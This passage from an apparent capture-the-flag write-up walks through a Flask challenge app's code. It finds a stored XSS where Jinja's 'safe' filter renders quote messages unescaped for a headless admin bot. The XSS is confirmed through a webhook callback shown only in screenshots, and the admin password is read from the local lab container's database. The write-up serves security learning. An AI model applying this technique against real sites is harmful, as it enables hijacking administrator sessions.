    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'requests.html'</span><span class="p">,</span> <span class="n">requests</span><span class="o">=</span><span class="n">quote_requests</span><span class="p">)</span>

<span class="o">@</span><span class="n">web</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/admin/scrape'</span><span class="p">)</span>
<span class="o">@</span><span class="n">login_required</span>
<span class="k">def</span> <span class="nf">scrape_list</span><span class="p">():</span>
    <span class="n">quote_requests</span> <span class="o">=</span> <span class="n">QuoteRequests</span><span class="p">.</span><span class="n">query</span><span class="p">.</span><span class="nb">all</span><span class="p">()</span>
    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'scrape.html'</span><span class="p">,</span> <span class="n">requests</span><span class="o">=</span><span class="n">quote_requests</span><span class="p">)</span>

<span class="o">@</span><span class="n">api</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/admin/scrape/list'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">])</span>
<span class="o">@</span><span class="n">login_required</span>
<span class="k">def</span> <span class="nf">job_list</span><span class="p">():</span>
    <span class="n">data</span> <span class="o">=</span> <span class="n">get_job_list</span><span class="p">()</span>

    <span class="k">if</span> <span class="ow">not</span> <span class="n">data</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">Response</span><span class="p">(</span><span class="n">json</span><span class="p">.</span><span class="n">dumps</span><span class="p">([]),</span> <span class="n">mimetype</span><span class="o">=</span><span class="s">'application/json'</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">Response</span><span class="p">(</span><span class="n">json</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">data</span><span class="p">),</span> <span class="n">mimetype</span><span class="o">=</span><span class="s">'application/json'</span><span class="p">)</span>

<span class="o">@</span><span class="n">api</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/admin/scrape/create'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'POST'</span><span class="p">])</span>
<span class="o">@</span><span class="n">login_required</span>
<span class="k">def</span> <span class="nf">job_create</span><span class="p">():</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">request</span><span class="p">.</span><span class="n">is_json</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">response</span><span class="p">(</span><span class="s">'Missing required parameters!'</span><span class="p">,</span> <span class="mi">401</span><span class="p">)</span>

    <span class="n">data</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">get_json</span><span class="p">()</span>

    <span class="n">urls</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'urls'</span><span class="p">,</span> <span class="p">[])</span>
    <span class="n">job_title</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'job_title'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>

    <span class="k">if</span> <span class="ow">not</span> <span class="nb">type</span><span class="p">(</span><span class="n">urls</span><span class="p">)</span> <span class="o">==</span> <span class="nb">list</span> <span class="ow">or</span> <span class="ow">not</span> <span class="n">urls</span> <span class="ow">or</span> <span class="ow">not</span> <span class="n">job_title</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">response</span><span class="p">(</span><span class="s">'Missing required parameters!'</span><span class="p">,</span> <span class="mi">401</span><span class="p">)</span>

    <span class="n">data</span> <span class="o">=</span> <span class="n">create_job_queue</span><span class="p">(</span><span class="n">urls</span><span class="p">,</span> <span class="n">job_title</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">Response</span><span class="p">(</span><span class="n">json</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">data</span><span class="p">),</span> <span class="n">mimetype</span><span class="o">=</span><span class="s">'application/json'</span><span class="p">)</span>

<span class="o">@</span><span class="n">api</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/admin/scrape/&lt;int:job_id&gt;/status'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">])</span>
<span class="o">@</span><span class="n">login_required</span>
<span class="k">def</span> <span class="nf">job_status</span><span class="p">(</span><span class="n">job_id</span><span class="p">):</span>
    <span class="n">data</span> <span class="o">=</span> <span class="n">get_job_queue</span><span class="p">(</span><span class="n">job_id</span><span class="p">)</span>

    <span class="k">if</span> <span class="ow">not</span> <span class="n">data</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">response</span><span class="p">(</span><span class="s">'Job does not exist!'</span><span class="p">,</span> <span class="mi">401</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">Response</span><span class="p">(</span><span class="n">json</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">data</span><span class="p">),</span> <span class="n">mimetype</span><span class="o">=</span><span class="s">'application/json'</span><span class="p">)</span>

<span class="o">@</span><span class="n">api</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/admin/scrape/&lt;int:job_id&gt;/result'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">])</span>
<span class="o">@</span><span class="n">login_required</span>
<span class="k">def</span> <span class="nf">job_result</span><span class="p">(</span><span class="n">job_id</span><span class="p">):</span>
    <span class="n">data</span> <span class="o">=</span> <span class="n">get_job_result</span><span class="p">(</span><span class="n">job_id</span><span class="p">)</span>

    <span class="k">if</span> <span class="ow">not</span> <span class="n">data</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">response</span><span class="p">(</span><span class="s">'Result does not exist!'</span><span class="p">,</span> <span class="mi">401</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">Response</span><span class="p">(</span><span class="n">json</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">data</span><span class="p">),</span> <span class="n">mimetype</span><span class="o">=</span><span class="s">'application/json'</span><span class="p">)</span>

<span class="o">@</span><span class="n">web</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/logout'</span><span class="p">)</span>
<span class="o">@</span><span class="n">login_required</span>
<span class="k">def</span> <span class="nf">logout</span><span class="p">():</span>
    <span class="n">logout_user</span><span class="p">()</span>
    <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="s">'/'</span><span class="p">)</span>
</code></pre></div></div>
<p><em><code class="language-plaintext highlighter-rouge">routes.py</code></em></p>

<p>Upon reviewing <code class="language-plaintext highlighter-rouge">routes.py</code>, it becomes apparent that this file plays a crucial role in the assessment as it contains key functions for the site’s functionality. When examining the original functionality of the site, the <code class="language-plaintext highlighter-rouge">request_quote()</code> function executes after submitting a quote request.</p>

<p><img src="/img/Hacking_the_Modern_Stack/Untitled%203.png" alt="I'm inspecting the functionality of the GET A QUOTE button; notice how the event is a `POST` request made to `/api/request-quote`. This `request-quote` should be our most scrutinized potential entry point for exploitation. If I didn't care about the stack technologies utilized by the application, we could have just jumped to an analysis on this function rather than reviewing the build files, `main`, and more.; I viewed this as an assessment, so I wanted to be as thorough as possible." />
<em>I’m inspecting the functionality of the GET A QUOTE button; notice how the event is a <code class="language-plaintext highlighter-rouge">POST</code> request made to <code class="language-plaintext highlighter-rouge">/api/request-quote</code>. This <code class="language-plaintext highlighter-rouge">request-quote</code> should be our most scrutinized potential entry point for exploitation. If I didn’t care about the stack technologies utilized by the application, we could have just jumped to an analysis on this function rather than reviewing the build files, <code class="language-plaintext highlighter-rouge">main</code>, and more.; I viewed this as an assessment, so I wanted to be as thorough as possible.</em></p>

<p>In the code snippet below, <code class="language-plaintext highlighter-rouge">request_quote()</code> builds a JSON query with our filled-out quote form and sends the quote to the database via the <code class="language-plaintext highlighter-rouge">quote_request</code> object. Then finally, the <code class="language-plaintext highlighter-rouge">request_quote()</code> function calls <code class="language-plaintext highlighter-rouge">view_requests()</code> and <code class="language-plaintext highlighter-rouge">clear_requests()</code>. Let’s look at the <code class="language-plaintext highlighter-rouge">view_requests()</code> function; the function is in <code class="language-plaintext highlighter-rouge">bot.py</code>.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">api</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/request-quote'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'POST'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">request_quote</span><span class="p">():</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">request</span><span class="p">.</span><span class="n">is_json</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">response</span><span class="p">(</span><span class="s">'Missing required parameters!'</span><span class="p">,</span> <span class="mi">401</span><span class="p">)</span>

    <span class="n">data</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">get_json</span><span class="p">()</span>

    <span class="n">contact_name</span>  <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'name'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>
    <span class="n">email_address</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'email_address'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>
    <span class="n">quote_message</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'quote_message'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>
    <span class="n">company_name</span>  <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'company_name'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>
    <span class="n">company_size</span>  <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'company_size'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>

    <span class="k">if</span> <span class="ow">not</span> <span class="n">email_address</span> <span class="ow">or</span> <span class="ow">not</span> <span class="n">quote_message</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">response</span><span class="p">(</span><span class="s">'Missing required parameters!'</span><span class="p">,</span> <span class="mi">401</span><span class="p">)</span>

    <span class="n">quote_request</span> <span class="o">=</span> <span class="n">QuoteRequests</span><span class="p">(</span>
        <span class="n">name</span><span class="o">=</span><span class="n">contact_name</span><span class="p">,</span>
        <span class="n">email_address</span><span class="o">=</span><span class="n">email_address</span><span class="p">,</span>
        <span class="n">quote_message</span><span class="o">=</span><span class="n">quote_message</span><span class="p">,</span>
        <span class="n">company_name</span><span class="o">=</span><span class="n">company_name</span><span class="p">,</span>
        <span class="n">company_size</span><span class="o">=</span><span class="n">company_size</span>
    <span class="p">)</span>

    <span class="n">db</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">quote_request</span><span class="p">)</span>
    <span class="n">db</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span>

    <span class="n">view_requests</span><span class="p">()</span>
    <span class="n">clear_requests</span><span class="p">()</span>

    <span class="k">return</span> <span class="n">response</span><span class="p">(</span><span class="s">'Request received successfully!'</span><span class="p">)</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">bot.py</code> is pretty cool. Here we see <code class="language-plaintext highlighter-rouge">view_requests()</code> spawning a Chrome webdriver to interact with the <code class="language-plaintext highlighter-rouge">localhost</code> using a specific <code class="language-plaintext highlighter-rouge">ADMIN_USERNAME</code> and <code class="language-plaintext highlighter-rouge">ADMIN_PASSWORD</code>. The most suspect thing here is the comment on line 40, which states, <code class="language-plaintext highlighter-rouge">login.click() # redirects to /admin/quote-requests</code>. When I saw this, I knew that the single <code class="language-plaintext highlighter-rouge">ADMIN</code> user account has access to some admin backend with a webpage called <code class="language-plaintext highlighter-rouge">quote-requests</code>; this admin webpage triggers the <code class="language-plaintext highlighter-rouge">quote-requests</code> function.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">selenium</span> <span class="kn">import</span> <span class="n">webdriver</span>
<span class="kn">from</span> <span class="nn">selenium.webdriver.common.by</span> <span class="kn">import</span> <span class="n">By</span>
<span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">current_app</span>
<span class="kn">import</span> <span class="nn">time</span>

<span class="k">def</span> <span class="nf">view_requests</span><span class="p">():</span>
    <span class="n">chrome_options</span> <span class="o">=</span> <span class="n">webdriver</span><span class="p">.</span><span class="n">ChromeOptions</span><span class="p">()</span>

    <span class="n">chrome_options</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">'--headless'</span><span class="p">)</span>
    <span class="n">chrome_options</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"--incognito"</span><span class="p">)</span>
    <span class="n">chrome_options</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">'--no-sandbox'</span><span class="p">)</span>
    <span class="n">chrome_options</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">'--disable-setuid-sandbox'</span><span class="p">)</span>
    <span class="n">chrome_options</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">'--disable-gpu'</span><span class="p">)</span>
    <span class="n">chrome_options</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">'--disable-dev-shm-usage'</span><span class="p">)</span>
    <span class="n">chrome_options</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">'--disable-background-networking'</span><span class="p">)</span>
    <span class="n">chrome_options</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">'--disable-extensions'</span><span class="p">)</span>
    <span class="n">chrome_options</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">'--disable-sync'</span><span class="p">)</span>
    <span class="n">chrome_options</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">'--disable-translate'</span><span class="p">)</span>
    <span class="n">chrome_options</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">'--metrics-recording-only'</span><span class="p">)</span>
    <span class="n">chrome_options</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">'--mute-audio'</span><span class="p">)</span>
    <span class="n">chrome_options</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">'--no-first-run'</span><span class="p">)</span>
    <span class="n">chrome_options</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">'--safebrowsing-disable-auto-update'</span><span class="p">)</span>
    <span class="n">chrome_options</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">'--js-flags=--noexpose_wasm,--jitless'</span><span class="p">)</span>

    <span class="k">try</span><span class="p">:</span>
        <span class="n">client</span> <span class="o">=</span> <span class="n">webdriver</span><span class="p">.</span><span class="n">Chrome</span><span class="p">(</span><span class="n">chrome_options</span><span class="o">=</span><span class="n">chrome_options</span><span class="p">)</span>
        <span class="n">client</span><span class="p">.</span><span class="n">set_page_load_timeout</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
        <span class="n">client</span><span class="p">.</span><span class="n">set_script_timeout</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>

        <span class="n">client</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'http://localhost:1337/login'</span><span class="p">)</span>

        <span class="n">username</span> <span class="o">=</span> <span class="n">client</span><span class="p">.</span><span class="n">find_element</span><span class="p">(</span><span class="n">By</span><span class="p">.</span><span class="n">ID</span><span class="p">,</span> <span class="s">'username'</span><span class="p">)</span>
        <span class="n">password</span> <span class="o">=</span> <span class="n">client</span><span class="p">.</span><span class="n">find_element</span><span class="p">(</span><span class="n">By</span><span class="p">.</span><span class="n">ID</span><span class="p">,</span> <span class="s">'password'</span><span class="p">)</span>
        <span class="n">login</span> <span class="o">=</span> <span class="n">client</span><span class="p">.</span><span class="n">find_element</span><span class="p">(</span><span class="n">By</span><span class="p">.</span><span class="n">ID</span><span class="p">,</span> <span class="s">'login-btn'</span><span class="p">)</span>

        <span class="n">username</span><span class="p">.</span><span class="n">send_keys</span><span class="p">(</span><span class="n">current_app</span><span class="p">.</span><span class="n">config</span><span class="p">[</span><span class="s">'ADMIN_USERNAME'</span><span class="p">])</span>
        <span class="n">password</span><span class="p">.</span><span class="n">send_keys</span><span class="p">(</span><span class="n">current_app</span><span class="p">.</span><span class="n">config</span><span class="p">[</span><span class="s">'ADMIN_PASSWORD'</span><span class="p">])</span>

        <span class="n">login</span><span class="p">.</span><span class="n">click</span><span class="p">()</span> <span class="c1"># redirects to /admin/quote-requests
</span>
        <span class="c1"># view quote-requests
</span>        <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
        <span class="n">client</span><span class="p">.</span><span class="n">quit</span><span class="p">()</span>

    <span class="k">finally</span><span class="p">:</span>
        <span class="k">pass</span>
</code></pre></div></div>
<p><em><code class="language-plaintext highlighter-rouge">bot.py</code></em></p>

<p>Reviewing the API routing in <code class="language-plaintext highlighter-rouge">routes.py</code> confirms that an admin login must interact with the <code class="language-plaintext highlighter-rouge">/admin/quote-requests</code> endpoint. Additionally, the <code class="language-plaintext highlighter-rouge">render_template</code> function sends the data from the quote request to <code class="language-plaintext highlighter-rouge">requests.html</code>. Let’s examine the relevant code snippets:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">web</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/admin/quote-requests'</span><span class="p">)</span>
<span class="o">@</span><span class="n">login_required</span>
<span class="k">def</span> <span class="nf">dashboard</span><span class="p">():</span>
    <span class="n">quote_requests</span> <span class="o">=</span> <span class="n">QuoteRequests</span><span class="p">.</span><span class="n">query</span><span class="p">.</span><span class="nb">all</span><span class="p">()</span>
    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'requests.html'</span><span class="p">,</span> <span class="n">requests</span><span class="o">=</span><span class="n">quote_requests</span><span class="p">)</span>
</code></pre></div></div>

<p>This analysis shows that the <code class="language-plaintext highlighter-rouge">dashboard()</code> function, accessed through the <code class="language-plaintext highlighter-rouge">/admin/quote-requests</code> route, requires admin login authentication. It retrieves all quote requests from the database and passes them to the <code class="language-plaintext highlighter-rouge">requests.html</code> template for rendering.</p>

<p>In the <code class="language-plaintext highlighter-rouge">requests.html</code> template, a peculiar line stands out: <code class="language-plaintext highlighter-rouge">&lt;p class="card-text"&gt;Request Message : &lt;/p&gt;</code>. This line indicates a security vulnerability related to the use of the <a href="https://jinja.palletsprojects.com/en/3.0.x/templates/#working-with-automatic-escaping">safe filter in Jinja</a>, the default template engine for Python applications.</p>

<p>Here’s an analysis of the code snippet:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;p</span> <span class="na">class=</span><span class="s">"card-text"</span><span class="nt">&gt;</span>Request Message : <span class="nt">&lt;/p&gt;</span>
</code></pre></div></div>

<ol>
  <li>The template displays the quote request message using ``.</li>
  <li>The <code class="language-plaintext highlighter-rouge">| safe</code> filter applies to the <code class="language-plaintext highlighter-rouge">request.quote_message</code> variable.</li>
  <li>In Jinja, the <code class="language-plaintext highlighter-rouge">safe</code> filter marks the content as safe, turning off the automatic escaping that occurs by default.</li>
  <li>Using the <code class="language-plaintext highlighter-rouge">safe</code> filter, any JavaScript code or other potentially harmful content within the <code class="language-plaintext highlighter-rouge">quote_message</code> executes as-is when rendering the template.</li>
</ol>

<p>The usage of <code class="language-plaintext highlighter-rouge">safe</code> poses a security risk because the <code class="language-plaintext highlighter-rouge">quote_message</code> can be user-generated or manipulated by an attacker; it allows the execution of arbitrary JavaScript code within the context of the admin user’s privileges.</p>

<p>I confirmed this XSS using an ephemeral webhook at <a href="https://webhook.site">https://webhook.site</a>; if all goes well, we should see our HTTP request phone home to the webhook.site:</p>

<p><img src="/img/Hacking_the_Modern_Stack/Untitled%204.png" alt="Untitled" /></p>

<p><img src="/img/Hacking_the_Modern_Stack/Untitled%205.png" alt="Success! *By the way, I've used &quot;Web bug / URL token,&quot; [CanaryTokens](https://www.canarytokens.org/generate#), in the past, but there are a few minutes of delay to receive an email stating that your token has triggered; webhooks are much faster and provide additional curious information like HTTP headers such as `referer`. Webhooks have become widely used for receiving immediate notifications and triggering actions based on specific events. They offer flexibility and use in various applications, including security monitoring, integrations, and real-time data processing.*" />
<em>Success! By the way, I’ve used “Web bug / URL token,” <a href="https://www.canarytokens.org/generate#">CanaryTokens</a>, in the past, but there are a few minutes of delay to receive an email stating that your token has triggered; webhooks are much faster and provide additional curious information like HTTP headers such as <code class="language-plaintext highlighter-rouge">referer</code>. Webhooks have become widely used for receiving immediate notifications and triggering actions based on specific events. They offer flexibility and use in various applications, including security monitoring, integrations, and real-time data processing.</em></p>

<h2 id="exploring-the-possibilities-of-executing-arbitrary-javascript-as-admin-">Exploring the Possibilities of Executing Arbitrary JavaScript as ADMIN <a name="exploring-xss"></a></h2>

<p>In the <code class="language-plaintext highlighter-rouge">routes.py</code> file, we encounter an API endpoint <code class="language-plaintext highlighter-rouge">/admin/scrape</code> associated with the <code class="language-plaintext highlighter-rouge">scrape_list()</code> function. Let’s analyze the code snippet:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">web</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/admin/scrape'</span><span class="p">)</span>
<span class="o">@</span><span class="n">login_required</span>
<span class="k">def</span> <span class="nf">scrape_list</span><span class="p">():</span>
    <span class="n">quote_requests</span> <span class="o">=</span> <span class="n">QuoteRequests</span><span class="p">.</span><span class="n">query</span><span class="p">.</span><span class="nb">all</span><span class="p">()</span>
    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'scrape.html'</span><span class="p">,</span> <span class="n">requests</span><span class="o">=</span><span class="n">quote_requests</span><span class="p">)</span>
</code></pre></div></div>

<p>Here’s what we can understand from the code:</p>

<ol>
  <li>The <code class="language-plaintext highlighter-rouge">/admin/scrape</code> endpoint is handled by the <code class="language-plaintext highlighter-rouge">scrape_list()</code> function.</li>
  <li>The <code class="language-plaintext highlighter-rouge">@login_required</code> decorator ensures that only authenticated users can access the <code class="language-plaintext highlighter-rouge">scrape_list()</code> route.</li>
  <li>Inside the <code class="language-plaintext highlighter-rouge">scrape_list()</code> function, all quote requests are retrieved from the database using <code class="language-plaintext highlighter-rouge">QuoteRequests.query.all()</code>.</li>
  <li>The retrieved quote requests are then passed as variable <code class="language-plaintext highlighter-rouge">requests</code> to the <code class="language-plaintext highlighter-rouge">scrape.html</code> template using the <code class="language-plaintext highlighter-rouge">render_template()</code> function.</li>
</ol>

<p>Based on this information, the <code class="language-plaintext highlighter-rouge">/admin/scrape</code> endpoint retrieves all quote requests and renders them in the <code class="language-plaintext highlighter-rouge">scrape.html</code> template. The specific functionality and purpose of the <code class="language-plaintext highlighter-rouge">scrape.html</code> template may provide more insights into the intended use of this API.</p>

<p>Looking at <code class="language-plaintext highlighter-rouge">config.py</code>, I knew that the admin password was going to be 30 characters, so there’s no way we’ll be able to brute force that:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">application.util</span> <span class="kn">import</span> <span class="n">generate</span>
<span class="kn">import</span> <span class="nn">os</span>

<span class="k">class</span> <span class="nc">Config</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
    <span class="n">SECRET_KEY</span> <span class="o">=</span> <span class="n">generate</span><span class="p">(</span><span class="mi">50</span><span class="p">)</span>
    <span class="n">ADMIN_USERNAME</span> <span class="o">=</span> <span class="s">'admin'</span>
    <span class="o">**</span><span class="n">ADMIN_PASSWORD</span> <span class="o">=</span> <span class="n">generate</span><span class="p">(</span><span class="mi">15</span><span class="p">)</span><span class="o">**</span>
    <span class="n">SESSION_PERMANENT</span> <span class="o">=</span> <span class="bp">False</span>
    <span class="n">SESSION_TYPE</span> <span class="o">=</span> <span class="s">'filesystem'</span>
    <span class="o">**</span><span class="n">SQLALCHEMY_DATABASE_URI</span> <span class="o">=</span> <span class="s">'sqlite:///database.db'</span><span class="o">**</span>
    <span class="n">REDIS_HOST</span> <span class="o">=</span> <span class="s">'127.0.0.1'</span>
    <span class="n">REDIS_PORT</span> <span class="o">=</span> <span class="mi">6379</span>
    <span class="n">REDIS_JOBS</span> <span class="o">=</span> <span class="s">'jobs'</span>
    <span class="n">REDIS_QUEUE</span> <span class="o">=</span> <span class="s">'jobqueue'</span>
    <span class="n">REDIS_RESULTS</span> <span class="o">=</span> <span class="s">'results'</span>
    <span class="n">REDIS_NUM_JOBS</span> <span class="o">=</span> <span class="mi">0</span>

<span class="k">class</span> <span class="nc">ProductionConfig</span><span class="p">(</span><span class="n">Config</span><span class="p">):</span>
    <span class="k">pass</span>

<span class="k">class</span> <span class="nc">DevelopmentConfig</span><span class="p">(</span><span class="n">Config</span><span class="p">):</span>
    <span class="n">DEBUG</span> <span class="o">=</span> <span class="bp">True</span>

<span class="k">class</span> <span class="nc">TestingConfig</span><span class="p">(</span><span class="n">Config</span><span class="p">):</span>
    <span class="n">TESTING</span> <span class="o">=</span> <span class="bp">True</span>
</code></pre></div></div>
<p><em><code class="language-plaintext highlighter-rouge">config.py</code> file shows us the admin user account has a 30 randomized <code class="language-plaintext highlighter-rouge">(generate(15)</code> character password, and the data saves to a database file called <code class="language-plaintext highlighter-rouge">database.db</code>.</em></p>

<p>Luckily, since we have a local Docker instance of the web application, we can connect to the Docker container and grab the password out of the SQLite database as so:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dev@dev:~/Documents/NEOCC_CTF_2023/web_scrapeware<span class="nv">$ </span><span class="nb">sudo </span>su
<span class="o">[</span><span class="nb">sudo</span><span class="o">]</span> password <span class="k">for </span>dev: 
root@dev:/home/dev/Documents/NEOCC_CTF_2023/web_scrapeware# docker container <span class="nb">ls
</span>CONTAINER ID   IMAGE            COMMAND                  CREATED          STATUS          PORTS                                       NAMES
0fc214d3ae85   web_scrapeware   <span class="s2">"/usr/bin/supervisor…"</span>   14 minutes ago   Up 14 minutes   0.0.0.0:1337-&gt;1337/tcp, :::1337-&gt;1337/tcp   web_scrapeware
root@dev:/home/dev/Documents/NEOCC_CTF_2023/web_scrapeware# docker <span class="nb">exec</span> <span class="nt">-it</span> web_scrapeware bash
root@0fc214d3ae85:/app# find <span class="nb">.</span> <span class="nt">-name</span> database.db
./instance/database.db
root@0fc214d3ae85:/app# <span class="nb">cd </span>instance/
root@0fc214d3ae85:/app/instance# sqlite3 database.db 
SQLite version 3.27.2 2019-02-25 16:06:06
Enter <span class="s2">".help"</span> <span class="k">for </span>usage hints.
sqlite&gt; .tables
quote_requests  user          
sqlite&gt; .schema user
CREATE TABLE user <span class="o">(</span>
	<span class="nb">id </span>INTEGER NOT NULL, 
	username VARCHAR<span class="o">(</span>100<span class="o">)</span>, 
	password VARCHAR<span class="o">(</span>100<span class="o">)</span>, 
	PRIMARY KEY <span class="o">(</span><span class="nb">id</span><span class="o">)</span>, 
	UNIQUE <span class="o">(</span>username<span class="o">)</span>
<span class="o">)</span><span class="p">;</span>
sqlite&gt; SELECT password FROM user<span class="p">;</span>
8151bd7c649749015effebfb436f68
</code></pre></div></div>
<p><em>Connecting to our Docker container using bash; running a find command to find our database file; navigating to our database file; connecting to the database file with sqlite3 command line interface; listing the tables for the database and schema for the user table; selecting the password from the user table.</em></p>

<p>Now that we have access to the admin portal, let’s click on “Scrape”:</p>

<p><img src="/img/Hacking_the_Modern_Stack/Untitled%206.png" alt="Untitled" /></p>

<p>We are directed towards the <code class="language-plaintext highlighter-rouge">/admin/scrape</code> endpoint:</p>

<p><img src="/img/Hacking_the_Modern_Stack/Untitled%207.png" alt="Untitled" /></p>

<p>Following the breadcrumbs in the code is a common approach to understanding the functionality and flow of an application. We’ve discovered an API endpoint <code class="language-plaintext highlighter-rouge">/api/admin/scrape/create</code> called when clicking the “Add Job” button. Inspecting the button or examining the Docker container’s logs can provide insights into the API interactions.</p>

<p><img src="/img/Hacking_the_Modern_Stack/Untitled%208.png" alt="Using the Inspect functionality in Firefox, clicking on the `event`, looking for the API call" />
<em>Using the Inspect functionality in Firefox, clicking on the <code class="language-plaintext highlighter-rouge">event</code>, looking for the API call.</em></p>

<p>Looking at the code for the <code class="language-plaintext highlighter-rouge">/admin/scrape/create</code> in the <code class="language-plaintext highlighter-rouge">[routes.py](http://routes.py)</code> file, we can see a function <code class="language-plaintext highlighter-rouge">create_job_queue(urls, job_title)</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">api</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/admin/scrape/create'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'POST'</span><span class="p">])</span>
<span class="o">@</span><span class="n">login_required</span>
<span class="k">def</span> <span class="nf">job_create</span><span class="p">():</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">request</span><span class="p">.</span><span class="n">is_json</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">response</span><span class="p">(</span><span class="s">'Missing required parameters!'</span><span class="p">,</span> <span class="mi">401</span><span class="p">)</span>

    <span class="n">data</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">get_json</span><span class="p">()</span>

